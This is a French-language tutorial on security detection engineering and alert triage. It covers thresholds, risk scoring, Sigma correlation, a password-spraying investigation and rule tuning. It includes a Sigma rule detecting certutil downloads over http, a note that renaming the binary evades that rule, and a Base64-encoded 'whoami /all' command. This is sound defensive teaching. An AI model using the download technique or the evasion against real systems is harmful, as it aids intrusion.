La moyenne augmentée de trois écarts-types est une approche de départ pour des données dont la distribution a approximativement la forme d’une cloche. Les volumes de sécurité présentent souvent une distribution asymétrique, avec de nombreuses petites observations et quelques très grandes. Les médianes et les centiles peuvent fournir des comparaisons plus utiles. Un seuil supérieur au 99e centile historique repère une observation inhabituellement élevée sans supposer une distribution en forme de cloche. Il dépend néanmoins d’une période de référence représentative.

Combine les signaux faibles par entité

L’analyse du comportement des utilisateurs et des entités, ou UEBA, construit des profils comportementaux, souvent à l’aide de l’apprentissage automatique et de groupes de pairs. Le déclenchement d’alertes fondé sur le risque additionne les scores d’une même entité sur une période. Une connexion depuis un nouveau pays valant 40 points, une première utilisation d’un outil d’administration valant 30 et un téléchargement volumineux valant 45 donnent un total de 115 en 24 heures. Avec un seuil de 100, l’alerte combinée présente un tableau plus convaincant que trois alertes faibles distinctes.

L’identité et la fenêtre temporelle sont essentielles. Additionner les scores d’utilisateurs sans lien produirait un résultat différent et trompeur. Les scores hiérarchisent les éléments de preuve ; ils ne sont pas des probabilités sauf si le système les définit explicitement ainsi.

Une référence de fonctionnement empoisonnée peut apprendre à considérer l’activité d’un attaquant comme normale. Une activité lente et discrète peut aussi rester sous un seuil de volume, comme 200 Mo ajoutés aux 4 Go transférés habituellement chaque jour par un serveur. Combine la logique de détection des anomalies avec des règles de comportements connus et des contrôles de l’état des sources de données, puis réévalue les seuils lorsque l’activité normale change.

Un système de gestion des informations et des événements de sécurité (SIEM) collecte les événements, analyse leur syntaxe, les normalise, les stocke et permet de les rechercher, puis applique des règles ou des analyses pour déclencher des alertes. La corrélation relie, sur une période donnée, des événements qui partagent une identité, un hôte, une adresse, une session ou un autre attribut. Les outils SOAR peuvent automatiser le traitement des alertes obtenues.

Décompose la règle

Chaque règle nécessite un filtre, une clé de regroupement, une fenêtre, une agrégation, une condition et une alerte en sortie. Précise chaque élément avant de choisir la syntaxe du produit.

La clé de regroupement détermine ce que la règle peut détecter. Les décomptes par compte révèlent des tentatives de devinette concentrées. Les utilisateurs distincts par source révèlent une pulvérisation depuis une source unique. Les sources distinctes par compte révèlent des attaques distribuées contre ce compte. Une pulvérisation distribuée sur différents comptes et différentes adresses peut rester sous tous ces seuils ; examine les applications cibles communes, les horaires, les caractéristiques des clients ou les changements du taux global d’échec.

Traite une séquence

Sélectionne d’abord les échecs d’authentification regroupés par user.name et source.ip, avec au moins 10 échecs en 5 minutes. Exige ensuite une réussite pour ce même utilisateur et cette même source dans les 10 minutes suivantes. Douze échecs de jdoe depuis 198.51.100.20 entre 10:03:10 et 10:06:40, suivis d’une réussite à 10:07:05, satisfont les deux étapes. Une réussite pour un autre utilisateur ne doit pas compléter la séquence.

Sigma peut exprimer des corrélations entre règles de base avec type, rules, group-by, timespan et condition. Les types comprennent event_count, value_count, temporal et temporal_ordered. Une corrélation fondée sur le nombre d’événements d’une règle d’échec d’ouverture de session peut regrouper par TargetUserName, utiliser 5m et exiger gte: 10. La conversion vers un système cible nécessite toujours une association correcte des champs et une prise en charge de la sémantique utilisée.

Adapte les horaires au motif recherché

Les fenêtres fixes divisent le temps en blocs. Six échecs de 10 h à 10 h 05 et quatre de 10 h 05 à 10 h 10 n’atteignent jamais dix dans un même bloc. Une fenêtre glissante de cinq minutes peut repérer les dix si la rafale tient dans cette fenêtre. Les fenêtres plus longues peuvent saisir des attaques plus lentes et nécessitent davantage de traitement. Le délai d’apparition des alertes dépend de la fréquence d’exécution, du délai d’ingestion et de l’attente éventuelle de la fermeture d’une fenêtre avant l’évaluation.

Utilise l’horodatage de l’événement et tiens compte des arrivées tardives avec un délai ou une période de recherche rétrospective adaptés. Normalise les champs entre sources, corrige les problèmes d’horloge et déduplique les livraisons répétées à l’aide de l’identité de l’événement avant de compter. Les exécutions de règle qui se chevauchent nécessitent aussi un regroupement des alertes pour qu’une même rafale ne submerge pas la file.

L’alerte devrait contenir l’objectif de la règle, l’utilisateur ou l’hôte, les adresses, les décomptes, les heures du premier et du dernier événement, la gravité, les liens vers les événements bruts et des indications de triage. Vérifie les données nécessaires et les volumes locaux avant le déploiement : la corrélation ne peut pas reconstituer un événement que la source n’a jamais enregistré.

Une alerte peut être techniquement correcte sans nécessiter de gestion d’incident. Utilise des catégories de résultat cohérentes pour que les dossiers de clôture aident à améliorer les détections au lieu de masquer les raisons de la clôture.

Distingue le comportement de son sens

Un scanneur de vulnérabilités autorisé effectue réellement des balayages. Une règle de balayage qui le repère produit un vrai positif bénin. Une erreur d’analyse syntaxique qui fait apparaître le trafic normal comme un balayage produit un faux positif. Les équipes utilisent les catégories différemment ; l’exigence opérationnelle essentielle est une définition cohérente et une raison consignée.

L’exactitude de la correspondance avec le comportement détermine si le comportement décrit a eu lieu. La précision des alertes indique ici la part de toutes les alertes dont le caractère malveillant a été confirmé. Son dénominateur comprend les faux positifs et les vrais positifs bénins :

Six alertes malveillantes parmi 200 au total donnent une précision de 3 %. Si le scanneur représente de nombreuses correspondances correctes mais autorisées, l’exactitude de la correspondance avec le comportement peut être bonne tandis que la précision des alertes est faible. Cela suggère de changer le périmètre opérationnel de la règle, sans prétendre que ses observations étaient erronées.

Tiens compte de ce qui a été manqué

Le rappel mesure la part de l’activité malveillante réelle qui a été détectée :

Les cas manqués peuvent être découverts lors d’incidents, de chasses, de travaux d’équipe rouge ou de tests contrôlés. Sans ces éléments de preuve, une file calme en dit peu sur le rappel. Relever un seuil peut supprimer des alertes bruyantes tout en manquant des attaques plus lentes : évalue donc les comportements détectés et manqués.

Le taux de base compte parce que les attaques sont rares parmi les événements ordinaires. Un taux de déclenchement à tort de 0,1 % sur environ deux millions d’événements bénins produit environ 2 000 fausses alertes. Même un faible pourcentage peut submerger une équipe. L’agrégation, un contexte plus solide et les scores de risque peuvent rendre les signaux faibles plus utiles.

Décide de ce qui mérite attention en premier

La gravité décrit à quel point l’activité détectée serait sérieuse si elle était avérée. La priorité détermine l’ordre de traitement à partir de la gravité, du niveau de confiance et de la criticité de l’actif ou de l’utilisateur. Une alerte de gravité moyenne sur un contrôleur de domaine peut être plus urgente qu’une alerte de gravité élevée sur une machine de test isolée.

Les alertes répétées de faible valeur créent une fatigue liée aux alertes : les analystes les survolent et les attaques réelles sont plus faciles à manquer. Chaque alerte mise en file devrait permettre une action ou une décision. Garde les observations qui n’appellent aucune action dans les journaux ou les tableaux de bord. Consigne les éléments de preuve et les raisons de clôture pour que les personnes chargées du réglage puissent distinguer une mauvaise analyse syntaxique, un comportement autorisé, des sorties en double et de véritables détections malveillantes.

Le triage est la première appréciation visant à déterminer si une alerte est réelle, son degré d’urgence et la suite à donner. Respecte les objectifs de réponse de l’équipe et utilise la priorité pour décider quelle alerte examiner en premier.

Suis un parcours reproductible

1. Comprends. Lis l’objectif et la logique de la règle, les entités, la période et la procédure d’exploitation. Sache quel comportement la règle affirme détecter et quelles causes bénignes sont attendues.
2. Valide. Ouvre les événements bruts. Vérifie l’analyse syntaxique, les horodatages, l’hôte et l’identité, le résultat de l’événement, les doublons et les données de test. Un titre convaincant ne peut pas corriger une mauvaise association du champ source.
3. Ajoute du contexte. Vérifie le rôle et le responsable de l’actif, les privilèges, l’activité normale, les tickets de changement, les tests planifiés, la réputation des indicateurs et les clôtures précédentes.
4. Détermine le périmètre. Recherche les hôtes, utilisateurs, destinations, empreintes et alertes associés avant et après la correspondance. Établis une courte chronologie en UTC.
5. Décide et documente. Clôture avec un résultat étayé, poursuis la surveillance en indiquant pourquoi ou procède à l’escalade pour un incident suspecté.

Une fenêtre de maintenance annoncée nécessite un enregistrement d’autorisation correspondant. Un compte administrateur familier peut lui-même être compromis. Les vérifications de contexte devraient mettre à l’épreuve l’explication plausible au lieu de simplement l’accepter.

Traite l’alerte de pulvérisation de mots de passe

L’alerte signale que 198.51.100.77 a essayé 46 comptes de 10 h à 10 h 20 UTC. Les enregistrements 4625 bruts montrent 41 résultats de mot de passe incorrect et cinq résultats d’utilisateur inconnu, tous de type 3. L’adresse n’est pas celle d’un scanneur autorisé et aucun test d’intrusion n’est prévu.

Recherche les réussites depuis la même origine et sur la même période. Un 4624 pour m.tanaka apparaît à 10 h 21, suivi d’un accès à la boîte aux lettres à 10 h 24. Ces événements ultérieurs augmentent le niveau de confiance et l’urgence au-delà de ce que justifierait un ensemble de tentatives bloquées. Documente le compte qui a réussi et les comptes pour lesquels aucune réussite n’a été observée. L’absence dans les journaux disponibles doit rester liée au périmètre de cette recherche.

La décision est de procéder à l’escalade pour activité malveillante avec une priorité élevée. Joins les enregistrements bruts, les requêtes, les vérifications d’autorisation et la chronologie. Les rapports de réputation étayent la décision, mais les actions liées d’authentification et d’accès à la boîte aux lettres constituent les principaux éléments de preuve.

Laisse un dossier utilisable par un autre analyste

Un dossier de clôture indique ce qui a été vérifié, les identifiants et horaires d’événements pertinents, le périmètre des requêtes, les éléments de preuve, le raisonnement et le résultat. Pour un vrai positif bénin, inclus la référence d’autorisation et la personne qui l’a confirmée. Pour un faux positif, explique la discordance et demande un réglage si elle se reproduit.

La transmission du dossier lors de l’escalade indique ce qui s’est passé, quand, les entités concernées, les éléments de preuve, la gravité et le niveau de confiance évalués, les questions sans réponse et tout risque immédiat comme une session active ou un transfert sortant en cours. L’équipe de réponse aux incidents doit pouvoir distinguer les faits observés des hypothèses. Si l’impact peut être élevé et qu’un doute important subsiste, transmets clairement cette incertitude lors de l’escalade au lieu d’attendre toutes les vérifications possibles.

Fixe une limite de temps pour le travail de faible priorité afin qu’il ne prenne pas la place des alertes critiques. Enregistre suffisamment de détails sur les requêtes et leurs résultats pour que l’analyste suivant puisse reproduire la recherche et poursuivre à partir des mêmes éléments de preuve.

Une bonne requête d’investigation répond à une question précise. Pars de l’heure et de l’entité de l’alerte, sélectionne les champs utiles et trie par horodatage de l’événement. Élargis la recherche lorsqu’un résultat te donne une raison de le faire.

Passe d’un indice aux éléments de preuve associés

Une requête indépendante du fournisseur pourrait demander les événements d’authentification provenant de 198.51.100.77 sur 24 heures, regroupés par user.name et event.outcome. Les décomptes révèlent l’étendue ; les lignes brutes établissent les actions et les heures exactes. Une recherche unique sur plusieurs mois de toutes les sources est souvent lente et difficile à interpréter.

Le pivot d’investigation suit une relation : de l’adresse aux hôtes qui la contactent, de l’hôte au processus à l’origine de la connexion, du processus à l’utilisateur, puis de l’utilisateur aux connexions. Note à chaque étape la requête, les bornes temporelles, les identifiants et le résultat. Fais correspondre les identifiants de processus et les horaires d’événements lorsqu’ils sont disponibles ; sinon, une adresse ou un numéro de processus réutilisé peut créer un faux lien.

Décode sans exécuter

Le paramètre PowerShell -EncodedCommand utilise du texte UTF-16LE encodé en Base64. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== se décode en whoami /all. Sélectionne le bon encodage de texte après le décodage des octets. Un outil comme CyberChef peut enchaîner les étapes ; consigne les couches et conserve la valeur d’origine. Le décodage révèle du texte à examiner ; il ne nécessite pas d’exécuter la commande.

Ajoute du contexte externe en sécurité

Les informations d’enregistrement, l’âge du domaine, le propriétaire du réseau, la géolocalisation, la réputation IP, les recherches d’empreintes et les rapports existants de bac à sable peuvent guider la recherche suivante. Un domaine récent ou une adresse cloud partagée qui fait l’objet de signalements nécessite des éléments de confirmation. Une réputation sans signalement peut correspondre à une menace nouvelle ou rarement observée.

Protège les données de l’investigation : utilise des outils de recherche approuvés et des bacs à sable isolés, recherche une empreinte au lieu de téléverser un fichier sensible sur un scanneur public et évite de visiter directement une infrastructure suspecte depuis le réseau de l’entreprise. Les téléversements publics peuvent exposer des fichiers confidentiels ou révéler une investigation à un attaquant.

Les assistants d’IA peuvent résumer les journaux, expliquer des commandes ou rédiger des recherches. Vérifie les champs et les conclusions qu’ils suggèrent dans les événements bruts et la documentation. Utilise les outils autorisés par la politique de données de l’organisation. Traite les chaînes de journal contrôlées par un attaquant, notamment les agents utilisateurs et les noms de fichiers, comme des données même lorsqu’elles contiennent des instructions destinées à un système d’IA.

Distingue les listes d’entités

Un pivot dans le proxy à partir d’un hôte en trouve trois autres qui contactent la même adresse : quatre hôtes ont eu un contact. Une recherche dans la messagerie trouve 14 destinataires d’un document. Ce sont des populations différentes. Confirme l’exécution sur les hôtes à l’aide des éléments des terminaux et associe les destinataires à leurs équipements avant d’élargir le périmètre. Le contact réseau seul ne répond pas à la question de l’exécution, et soustraire le nombre d’hôtes du nombre de destinataires produit un résultat sans signification.

L’ingénierie de la détection traite les règles selon un processus reproductible de conception, de test et de maintenance. La détection sous forme de code conserve les règles dans un système de gestion de versions avec des revues et des contrôles automatisés, afin qu’un changement puisse être expliqué et reproduit.

Pars du comportement et des données

Définis le besoin à partir d’une menace pertinente, d’un incident, d’une technique ATT&CK, d’un constat d’équipe rouge ou d’une lacune connue. Identifie la source et les champs qui le révèlent. Confirme la collecte, l’analyse syntaxique et la normalisation avant d’écrire la logique. Ensuite, écris, teste, documente, déploie, règle et revois la détection, puis retire-la le moment venu.

Les indicateurs atomiques comme une empreinte de fichier peuvent identifier rapidement un artefact connu. Les règles comportementales, comme un programme Office qui lance un interpréteur de script, résistent à davantage de changements de l’artefact. Associe le comportement aux techniques ATT&CK pertinentes, par exemple T1059.001 pour PowerShell ou T1105 pour le transfert entrant d’outils. Une notation indique la couverture visée ; un test réussi établit que l’implémentation locale la détecte réellement.

Lis une règle Sigma

Sigma est un format de détection portable en YAML. Une règle comprend title, logsource et detection. Les attributs de source de journaux comme product, category et service sélectionnent les données appropriées ; utilise la combinaison qui identifie la source. Les sélections nommées décrivent les correspondances et condition les combine. Plusieurs champs dans une sélection utilisent ET ; une liste de valeurs utilise normalement OU. Des modificateurs comme contains, endswith et all changent la comparaison.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

Cette règle exige que le chemin de l’exécutable se termine par \certutil.exe et que la ligne de commande contienne à la fois urlcache et http. Elle nécessite les créations de processus avec leurs lignes de commande, comme Sysmon 1 ou 4688 correctement configuré. Convertis-la et vérifie-la par rapport aux associations de champs du système cible. Renommer le programme binaire peut contourner ce test précis du chemin de l’exécutable ; documente donc cette limite.

Teste et rends l’alerte exploitable

Rejoue des événements ressemblant à une activité malveillante ou exécute des simulations sûres et approuvées dans un environnement de test. Confirme l’alerte attendue et ses champs d’entités. Utilise des données normales historiques, par exemple 30 jours, pour estimer le bruit. Inclus des cas limites : casse, guillemets, espaces, champs absents, outils renommés et usages administratifs plausibles. Un test qui se déclenche une fois établit moins de choses qu’un test positif accompagné de tests aux limites et de tests de bruit.

Documente l’objectif, les sources nécessaires, la logique, la mise en correspondance avec ATT&CK, la gravité, les causes bénignes connues, les étapes de triage, les preuves des tests, le volume attendu, le responsable et la date de revue. Un déploiement en mode surveillance seule permet à l’équipe d’examiner les résultats réels avant de s’y fier en exploitation. Les règles ont besoin d’un responsable pour réagir lorsque les structures des sources ou l’activité métier changent.

Le réglage des détections modifie la logique, les seuils, le périmètre ou le contexte d’une règle pour rendre les alertes plus exploitables tout en préservant la détection visée. Pars des dossiers de clôture : une mauvaise analyse syntaxique, un comportement autorisé et des sorties répétées nécessitent des corrections différentes.

Choisis un changement adapté à la cause

Pour un comportement connu et autorisé, utilise une exception limitée. Pour les événements sans rapport, ajoute une condition pertinente comme le processus parent, le chemin complet, un élément de ligne de commande, le rôle de l’identité ou le contexte de l’actif. Ajuste les seuils et les fenêtres à l’activité mesurée. Regroupe les correspondances répétées en une alerte par entité et par période. Un signal faible peut contribuer à un score de risque au lieu de créer une entrée distincte dans la file.

Les exclusions doivent avoir un responsable, une raison et une date de revue ou d’expiration. Exclus l’adresse et l’identité précises d’un scanneur pour la règle de balayage, selon son calendrier approuvé. Exclure tout 10.0.0.0/8 rendrait la règle aveugle aux attaques internes. Une exception pour une sauvegarde devrait utiliser un chemin complet et un signataire fiables ; un logiciel malveillant peut copier un nom de fichier comme backup.exe. Exclure un dossier entier accessible en écriture comme C:\Temp\ est un raccourci risqué.

Mesure le changement de l’exemple

Une règle de balayage produit 200 alertes en un mois ; six sont confirmées malveillantes. La précision des alertes est de 3 %. Le triage trouve 150 correspondances du scanneur autorisé 10.0.9.15 pendant sa fenêtre de scan. Exclure cette source pour cette règle et cette fenêtre laisse 50 alertes, dont les six mêmes alertes malveillantes :

Le volume baisse de 75 %. Les détections malveillantes observées sont conservées et un balayage par cet hôte hors de sa fenêtre déclenche toujours une alerte. Ce résultat rétrospectif ne couvre pas tous les chemins d’attaque futurs ; teste aussi les activités malveillantes proches des limites de l’exclusion, y compris l’usage abusif possible d’un système approuvé.

Faire passer un seuil d’échecs de 10 à 50 en cinq minutes peut supprimer les alertes dues aux tentatives ordinaires, mais manque aussi les attaques entre ces valeurs. Désactiver la règle supprime entièrement sa couverture. Relance les tests positifs après chaque changement de réglage et examine les cas précédemment détectés qui disparaissent.

Garde visibles la qualité et l’état des données

Suis le volume par règle, les détections confirmées malveillantes, la précision et les cas manqués connus. Un taux de faux positifs nécessite un dénominateur défini ; la part des alertes clôturées comme faux positifs est une mesure différente du taux calculé sur les événements bénins. Documente l’indicateur que l’équipe présente.

Le délai moyen de détection mesure le temps écoulé entre le début de l’activité malveillante et sa détection. Le délai moyen de réponse suit l’intervalle de réponse défini par l’équipe. Garde cette définition cohérente lorsque tu compares les périodes. Examine la couverture testée des techniques ATT&CK prioritaires ainsi que l’état des sources, les champs manquants, les échecs d’analyse syntaxique et les accumulations en attente. Une baisse du nombre d’alertes après la défaillance d’un analyseur est un échec de la surveillance.

Refais les tests après une modification de source ou d’analyseur, examine les exceptions proches de leur expiration, retire les règles obsolètes et ajoute des détections pour les comportements devenus pertinents. Les exercices en équipe violette et les simulations d’intrusions et d’attaques peuvent révéler des lacunes avant un incident réel. Stocke les changements et les résultats des tests avec la règle pour que la prochaine revue puisse comprendre pourquoi ses limites actuelles existent.